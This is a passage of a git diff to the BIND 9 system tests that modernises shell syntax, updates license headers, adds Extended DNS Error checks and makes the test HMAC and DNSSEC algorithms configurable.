 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Test 62 - inheritance of allow-recursion-on from allow-query-cache-on
-n=`expr $n + 1`
+n=$((n + 1))
 copy_setports ns3/named4.conf.in ns3/named.conf
 rndc_reload ns3 10.53.0.3
 
@@ -671,6 +722,7 @@ grep 'ANSWER: 1' dig.out.ns3.1.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.1.2 a.normal.example a > dig.out.ns3.2.$n
 grep 'recursion requested but not available' dig.out.ns3.2.$n > /dev/null || ret=1
 grep 'status: REFUSED' dig.out.ns3.2.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.2.$n > /dev/null || ret=1
 # this should require recursion and should be allowed
 $DIG -p ${PORT} @10.53.0.3 e.normal.example a > dig.out.ns3.3.$n
 grep 'ANSWER: 1' dig.out.ns3.3.$n > /dev/null || ret=1
@@ -678,8 +730,10 @@ grep 'ANSWER: 1' dig.out.ns3.3.$n > /dev/null || ret=1
 $DIG -p ${PORT} @10.53.1.2 f.normal.example a > dig.out.ns3.4.$n
 grep 'recursion requested but not available' dig.out.ns3.4.$n > /dev/null || ret=1
 grep 'status: REFUSED' dig.out.ns3.4.$n > /dev/null || ret=1
+grep 'EDE: 18 (Prohibited)' dig.out.ns3.4.$n > /dev/null || ret=1
+nextpart ns3/named.run | grep 'allow-recursion-on did not match' > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/allow-query/tests_sh_allowquery.py b/bin/tests/system/allow-query/tests_sh_allowquery.py
new file mode 100644
index 0000000000..ce20d79a8e
--- /dev/null
+++ b/bin/tests/system/allow-query/tests_sh_allowquery.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_allowquery(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/ans.pl b/bin/tests/system/ans.pl
index 8fcabc07ac..bbae89ef57 100644
--- a/bin/tests/system/ans.pl
+++ b/bin/tests/system/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -93,6 +95,8 @@
 if (!$mainport) { $mainport = 5300; }
 my $ctrlport = int($ENV{'EXTRAPORT1'});
 if (!$ctrlport) { $ctrlport = 5301; }
+my $hmac_algorithm = $ENV{'DEFAULT_HMAC'};
+if (!defined($hmac_algorithm)) { $hmac_algorithm = "hmac-sha256"; }
 
 # XXX: we should also be able to set the port numbers to listen on.
 my $ctlsock = IO::Socket::INET->new(LocalAddr => "$server_addr",
@@ -172,6 +176,7 @@ sub handleUDP {
 				} else {
 					$tsig = Net::DNS::RR->new(
 							name => $key_name,
+							algorithm => $hmac_algorithm,
 							type => 'TSIG',
 							key  => $key_data);
 				}
@@ -200,7 +205,7 @@ sub handleUDP {
 							 $prev_tsig->mac);
 					}
 				}
-				
+
 				$packet->sign_tsig($tsig);
 			}
 			last;
@@ -248,7 +253,7 @@ sub packetlen {
 	} else {
 		($header, $offset) = Net::DNS::Header->parse(\$data);
 	}
-		
+
 	for (1 .. $header->qdcount) {
 		if ($decode) {
 			($q, $offset) =
@@ -334,7 +339,7 @@ sub handleTCP {
 		($request, $err) = new Net::DNS::Packet(\$buf, 0);
 		$err and die $err;
 	}
-	
+
 	my @questions = $request->question;
 	my $qname = $questions[0]->qname;
 	my $qtype = $questions[0]->qtype;
@@ -382,12 +387,13 @@ sub handleTCP {
 			if (defined($key_name) && defined($key_data)) {
 				my $tsig;
 				# sign the packet
-				print "  Signing the data with " . 
+				print "  Signing the data with " .
 				      "$key_name/$key_data\n";
 
 				if ($Net::DNS::VERSION < 0.69) {
 					$tsig = Net::DNS::RR->new(
 						   "$key_name TSIG $key_data");
+					$tsig->algorithm = $hmac_algorithm;
 				} elsif ($Net::DNS::VERSION >= 0.81 &&
 					 $continuation) {
 				} elsif ($Net::DNS::VERSION >= 0.75 &&
@@ -396,6 +402,7 @@ sub handleTCP {
 				} else {
 					$tsig = Net::DNS::RR->new(
 							name => $key_name,
+							algorithm => $hmac_algorithm,
 							type => 'TSIG',
 							key  => $key_data);
 				}
@@ -424,7 +431,7 @@ sub handleTCP {
 							 $prev_tsig->mac);
 					}
 				}
-				
+
 				$tsig->sign_func($signer) if defined($signer);
 				$tsig->continuation($continuation) if
 					 ($Net::DNS::VERSION >= 0.71 &&
diff --git a/bin/tests/system/auth/clean.sh b/bin/tests/system/auth/clean.sh
index adb9b67e66..5fb37aca02 100644
--- a/bin/tests/system/auth/clean.sh
+++ b/bin/tests/system/auth/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/auth/ns1/chaos.db b/bin/tests/system/auth/ns1/chaos.db
index f34e7b9a48..bbd489ab4a 100644
--- a/bin/tests/system/auth/ns1/chaos.db
+++ b/bin/tests/system/auth/ns1/chaos.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/auth/ns1/example.com.db b/bin/tests/system/auth/ns1/example.com.db
index a61c88229e..67688950ed 100644
--- a/bin/tests/system/auth/ns1/example.com.db
+++ b/bin/tests/system/auth/ns1/example.com.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/auth/ns1/example.net.db b/bin/tests/system/auth/ns1/example.net.db
index 66aa33dc5f..29885ca414 100644
--- a/bin/tests/system/auth/ns1/example.net.db
+++ b/bin/tests/system/auth/ns1/example.net.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/auth/ns1/named.conf.in b/bin/tests/system/auth/ns1/named.conf.in
index 38dbcd2749..9d0a517b68 100644
--- a/bin/tests/system/auth/ns1/named.conf.in
+++ b/bin/tests/system/auth/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	dnssec-validation no;
 };
 
 view main in {
diff --git a/bin/tests/system/auth/ns2/named.conf.in b/bin/tests/system/auth/ns2/named.conf.in
index f2b8b853fb..9b82c5005b 100644
--- a/bin/tests/system/auth/ns2/named.conf.in
+++ b/bin/tests/system/auth/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify no;
+	dnssec-validation no;
 };
 
 zone example.net {
diff --git a/bin/tests/system/auth/setup.sh b/bin/tests/system/auth/setup.sh
index 5c160b922e..6929ec541d 100644
--- a/bin/tests/system/auth/setup.sh
+++ b/bin/tests/system/auth/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/auth/tests.sh b/bin/tests/system/auth/tests.sh
index da4fb95e9e..6cd4a272a1 100644
--- a/bin/tests/system/auth/tests.sh
+++ b/bin/tests/system/auth/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp -p ${PORT}"
@@ -16,7 +20,7 @@ DIGOPTS="+tcp -p ${PORT}"
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "wait for zones to finish transferring to ns2 ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
@@ -30,13 +34,13 @@ do
   sleep 1
 done
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # If recursion is unrequested or unavailable, then cross-zone CNAME records
 # should not be followed. If both requested and available, they should be.
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that cross-zone CNAME record does not return target data (rd=0/ra=0) ($n)"
 ret=0
 $DIG $DIGOPTS +norec @10.53.0.1 www.example.com > dig.out.test$n || ret=1
@@ -45,9 +49,9 @@ grep "flags: qr aa;" dig.out.test$n > /dev/null || ret=1
 grep "www.example.com.*CNAME.*server.example.net" dig.out.test$n > /dev/null || ret=1
 grep "server.example.net.*A.*10.53.0.100" dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that cross-zone CNAME record does not return target data (rd=1/ra=0) ($n)"
 ret=0
 $DIG $DIGOPTS +rec @10.53.0.1 www.example.com > dig.out.test$n || ret=1
@@ -56,9 +60,9 @@ grep "flags: qr aa rd;" dig.out.test$n > /dev/null || ret=1
 grep "www.example.com.*CNAME.*server.example.net" dig.out.test$n > /dev/null || ret=1
 grep "server.example.net.*A.*10.53.0.100" dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that cross-zone CNAME record does not return target data (rd=0/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS +norec @10.53.0.2 www.example.com > dig.out.test$n || ret=1
@@ -67,9 +71,9 @@ grep "flags: qr aa ra;" dig.out.test$n > /dev/null || ret=1
 grep "www.example.com.*CNAME.*server.example.net" dig.out.test$n > /dev/null || ret=1
 grep "server.example.net.*A.*10.53.0.100" dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that cross-zone CNAME records return target data (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 www.example.com > dig.out.test$n || ret=1
@@ -78,12 +82,12 @@ grep "flags: qr aa rd ra;" dig.out.test$n > /dev/null || ret=1
 grep "www.example.com.*CNAME.*server.example.net" dig.out.test$n > /dev/null || ret=1
 grep "server.example.net.*A.*10.53.0.100" dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 #
 # In-zone CNAME records should always be followed regardless of RD and RA.
 #
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records return target data (rd=0/ra=0) ($n)"
 ret=0
 $DIG $DIGOPTS +norec @10.53.0.1 inzone.example.com > dig.out.test$n || ret=1
@@ -92,9 +96,9 @@ grep "flags: qr aa;" dig.out.test$n > /dev/null || ret=1
 grep "inzone.example.com.*CNAME.*a.example.com" dig.out.test$n > /dev/null || ret=1
 grep "a.example.com.*A.*10.53.0.1" dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records returns target data (rd=1/ra=0) ($n)"
 ret=0
 $DIG $DIGOPTS +rec @10.53.0.1 inzone.example.com > dig.out.test$n || ret=1
@@ -103,9 +107,9 @@ grep "flags: qr aa rd;" dig.out.test$n > /dev/null || ret=1
 grep "inzone.example.com.*CNAME.*a.example.com" dig.out.test$n > /dev/null || ret=1
 grep "a.example.com.*A.*10.53.0.1" dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records return target data (rd=0/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS +norec @10.53.0.2 inzone.example.com > dig.out.test$n || ret=1
@@ -114,9 +118,9 @@ grep "flags: qr aa ra;" dig.out.test$n > /dev/null || ret=1
 grep "inzone.example.com.*CNAME.*a.example.com" dig.out.test$n > /dev/null || ret=1
 grep "a.example.com.*A.*10.53.0.1" dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records return target data (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 inzone.example.com > dig.out.test$n || ret=1
@@ -125,9 +129,9 @@ grep "flags: qr aa rd ra;" dig.out.test$n > /dev/null || ret=1
 grep "inzone.example.com.*CNAME.*a.example.com" dig.out.test$n > /dev/null || ret=1
 grep "a.example.com.*A.*10.53.0.1" dig.out.test$n > /dev/null || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records does not return target data when QTYPE is CNAME (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -t cname inzone.example.com > dig.out.test$n || ret=1
@@ -136,9 +140,9 @@ grep 'flags: qr aa rd ra;' dig.out.test$n > /dev/null || ret=1
 grep 'inzone\.example\.com\..*CNAME.a\.example\.com\.' dig.out.test$n > /dev/null || ret=1
 grep 'a\.example\.com\..*A.10\.53\.0\.1' dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone CNAME records does not return target data when QTYPE is ANY (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -t any inzone.example.com > dig.out.test$n || ret=1
@@ -147,9 +151,9 @@ grep 'flags: qr aa rd ra;' dig.out.test$n > /dev/null || ret=1
 grep 'inzone\.example\.com\..*CNAME.a\.example\.com\.' dig.out.test$n > /dev/null || ret=1
 grep 'a\.example\.com\..*A.10\.53\.0\.1' dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone DNAME records does not return target data when QTYPE is CNAME (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -t cname inzone.dname.example.com > dig.out.test$n || ret=1
@@ -160,9 +164,9 @@ grep 'inzone\.dname\.example\.com\..*CNAME.inzone\.example\.com\.' dig.out.test$
 grep 'inzone\.example\.com\..*CNAME.a\.example\.com\.' dig.out.test$n > /dev/null && ret=1
 grep 'a\.example\.com\..*A.10\.53\.0\.1' dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that in-zone DNAME records does not return target data when QTYPE is ANY (rd=1/ra=1) ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.2 -t any inzone.dname.example.com > dig.out.test$n || ret=1
@@ -173,16 +177,16 @@ grep 'inzone\.dname\.example\.com\..*CNAME.inzone\.example\.com\.' dig.out.test$
 grep 'inzone\.example\.com.*CNAME.a\.example\.com\.' dig.out.test$n > /dev/null && ret=1
 grep 'a\.example\.com.*A.10\.53\.0\.1' dig.out.test$n > /dev/null && ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that CHAOS addresses are compared correctly ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.1 +noall +answer ch test.example.chaos > dig.out.test$n
-lines=`wc -l < dig.out.test$n`
+lines=$(wc -l < dig.out.test$n)
 [ ${lines:-0} -eq 2 ] || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/auth/tests_sh_auth.py b/bin/tests/system/auth/tests_sh_auth.py
new file mode 100644
index 0000000000..97233fa27d
--- /dev/null
+++ b/bin/tests/system/auth/tests_sh_auth.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_auth(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/autosign/clean.sh b/bin/tests/system/autosign/clean.sh
index 7a1101d6dd..02ae2c1ee1 100644
--- a/bin/tests/system/autosign/clean.sh
+++ b/bin/tests/system/autosign/clean.sh
@@ -1,14 +1,17 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+rm -f ./dsset-*
 rm -f */K* */dsset-* */*.signed */tmp* */*.jnl */*.bk
 rm -f */core
 rm -f */example.bk
@@ -16,56 +19,59 @@ rm -f */named.conf
 rm -f */named.memstats
 rm -f */named.run*
 rm -f */trusted.conf */private.conf
-rm -f activate-now-publish-1day.key
-rm -f active.key inact.key del.key delzsk.key unpub.key standby.key rev.key
-rm -f delayksk.key delayzsk.key autoksk.key autozsk.key
 rm -f dig.out.*
 rm -f digcomp.out.test*
-rm -f digcomp.out.test*
-rm -f missingzsk.key inactivezsk.key
+rm -f activate-now-publish-1day.key prepub.key
+rm -f active.key inact.key del.key delzsk.key unpub.key standby.key rev.key
+rm -f delayksk.key delayzsk.key autoksk.key autozsk.key
+rm -f noksk-ksk.key nozsk-ksk.key nozsk-zsk.key inaczsk-zsk.key inaczsk-ksk.key
 rm -f nopriv.key vanishing.key del1.key del2.key
+rm -rf ns*/inactive
 rm -f ns*/managed-keys.bind*
 rm -f ns*/named.lock
-rm -f ns*/named.lock
-rm -f ns1/root.db
+rm -f ns1/root.db ns1/root.db.1 ns1/root.db.2 ns1/root.db.3
+rm -f ns1/signing.out
+rm -f ns2/bar.db
+rm -f ns2/child.nsec3.example.db
+rm -f ns2/child.optout.example.db
 rm -f ns2/example.db
-rm -f ns2/private.secure.example.db ns2/bar.db
+rm -f ns2/insecure.secure.example.db
+rm -f ns2/optout-with-ent.db
+rm -f ns2/private.secure.example.db
+rm -f ns2/signing.*
 rm -f ns3/*.nzd ns3/*.nzd-lock ns3/*.nzf
 rm -f ns3/*.nzf
+rm -f ns3/*.jbk
 rm -f ns3/autonsec3.example.db
+rm -f ns3/delay.example.db ns3/delay.example.1 ns3/delay.example.2
 rm -f ns3/delzsk.example.db
 rm -f ns3/dname-at-apex-nsec3.example.db
-rm -f ns3/inacksk2.example.db
-rm -f ns3/inacksk3.example.db
 rm -f ns3/inaczsk2.example.db
-rm -f ns3/inaczsk3.example.db
 rm -f ns3/jitter.nsec3.example.db
 rm -f ns3/kg.out ns3/s.out ns3/st.out
 rm -f ns3/kskonly.example.db
 rm -f ns3/named.ns3.prev
+rm -f ns3/noksk.example.db
 rm -f ns3/nozsk.example.db ns3/inaczsk.example.db
-rm -f ns3/nsec.example.db
+rm -f ns3/nsec-only.example.db
 rm -f ns3/nsec3-to-nsec.example.db
 rm -f ns3/nsec3.example.db
 rm -f ns3/nsec3.nsec3.example.db
 rm -f ns3/nsec3.optout.example.db
-rm -f ns3/oldsigs.example.db
+rm -f ns3/oldsigs.example.db ns3/oldsigs.example.db.bak
 rm -f ns3/optout.example.db
 rm -f ns3/optout.nsec3.example.db
 rm -f ns3/optout.optout.example.db
 rm -f ns3/prepub.example.db
-rm -f ns3/prepub.example.db.in
 rm -f ns3/reconf.example.db
 rm -f ns3/rsasha256.example.db ns3/rsasha512.example.db
-rm -f ns3/secure-to-insecure.example.db
-rm -f ns3/secure-to-insecure2.example.db
 rm -f ns3/secure.example.db
 rm -f ns3/secure.nsec3.example.db
 rm -f ns3/secure.optout.example.db
 rm -f ns3/settime.out.*
 rm -f ns3/sync.example.db
 rm -f ns3/ttl*.db
-rm -f nsupdate.out
+rm -f nsupdate.out.test*
 rm -f settime.out.*
-rm -f signing.out.*
+rm -f signing.*
 rm -f sync.key
diff --git a/bin/tests/system/autosign/ns1/keygen.sh b/bin/tests/system/autosign/ns1/keygen.sh
index a218c0521f..bc4836e876 100644
--- a/bin/tests/system/autosign/ns1/keygen.sh
+++ b/bin/tests/system/autosign/ns1/keygen.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -17,20 +19,20 @@ infile=root.db.in
 
 (cd ../ns2 && $SHELL keygen.sh )
 
-cat $infile ../ns2/dsset-example$TP > $zonefile
+cat $infile ../ns2/dsset-example. ../ns2/dsset-bar. > $zonefile
 
-zskact=`$KEYGEN -3 -a RSASHA1 -q $zone`
-zskvanish=`$KEYGEN -3 -a RSASHA1 -q $zone`
-zskdel=`$KEYGEN -3 -a RSASHA1 -q -D now $zone`
-zskinact=`$KEYGEN -3 -a RSASHA1 -q -I now $zone`
-zskunpub=`$KEYGEN -3 -a RSASHA1 -q -G $zone`
-zsksby=`$KEYGEN -3 -a RSASHA1 -q -A none $zone`
-zskactnowpub1d=`$KEYGEN -3 -a RSASHA1 -q -A now -P +1d $zone`
-zsknopriv=`$KEYGEN -3 -a RSASHA1 -q $zone`
+zskact=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q $zone)
+zskvanish=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q $zone)
+zskdel=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -D now $zone)
+zskinact=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -I now $zone)
+zskunpub=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -G $zone)
+zsksby=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -A none $zone)
+zskactnowpub1d=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -A now -P +1d $zone)
+zsknopriv=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q $zone)
 rm $zsknopriv.private
 
-ksksby=`$KEYGEN -3 -a RSASHA1 -q -P now -A now+15s -fk $zone`
-kskrev=`$KEYGEN -3 -a RSASHA1 -q -R now+15s -fk $zone`
+ksksby=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -P now -A now -fk $zone)
+kskrev=$($KEYGEN -3 -a ${DEFAULT_ALGORITHM} -q -R now -fk $zone)
 
 keyfile_to_static_ds $ksksby > trusted.conf
 cp trusted.conf ../ns2/trusted.conf
@@ -49,3 +51,5 @@ echo $zsknopriv > ../nopriv.key
 echo $zsksby > ../standby.key
 echo $zskactnowpub1d > ../activate-now-publish-1day.key
 $REVOKE -R $kskrev > ../rev.key
+
+$SIGNER -S -o . -O full root.db > signing.out 2>&1
diff --git a/bin/tests/system/autosign/ns1/named.conf.in b/bin/tests/system/autosign/ns1/named.conf.in
index 0c3a4bf6b8..6421482595 100644
--- a/bin/tests/system/autosign/ns1/named.conf.in
+++ b/bin/tests/system/autosign/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -35,11 +37,10 @@ controls {
 
 zone "." {
 	type primary;
-	file "root.db";
+	file "root.db.signed";
 	allow-transfer { any; };
-	allow-query { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	allow-query { any; };
 };
 
 include "trusted.conf";
diff --git a/bin/tests/system/autosign/ns1/root.db.in b/bin/tests/system/autosign/ns1/root.db.in
index 4ed999092c..6715a026b3 100644
--- a/bin/tests/system/autosign/ns1/root.db.in
+++ b/bin/tests/system/autosign/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
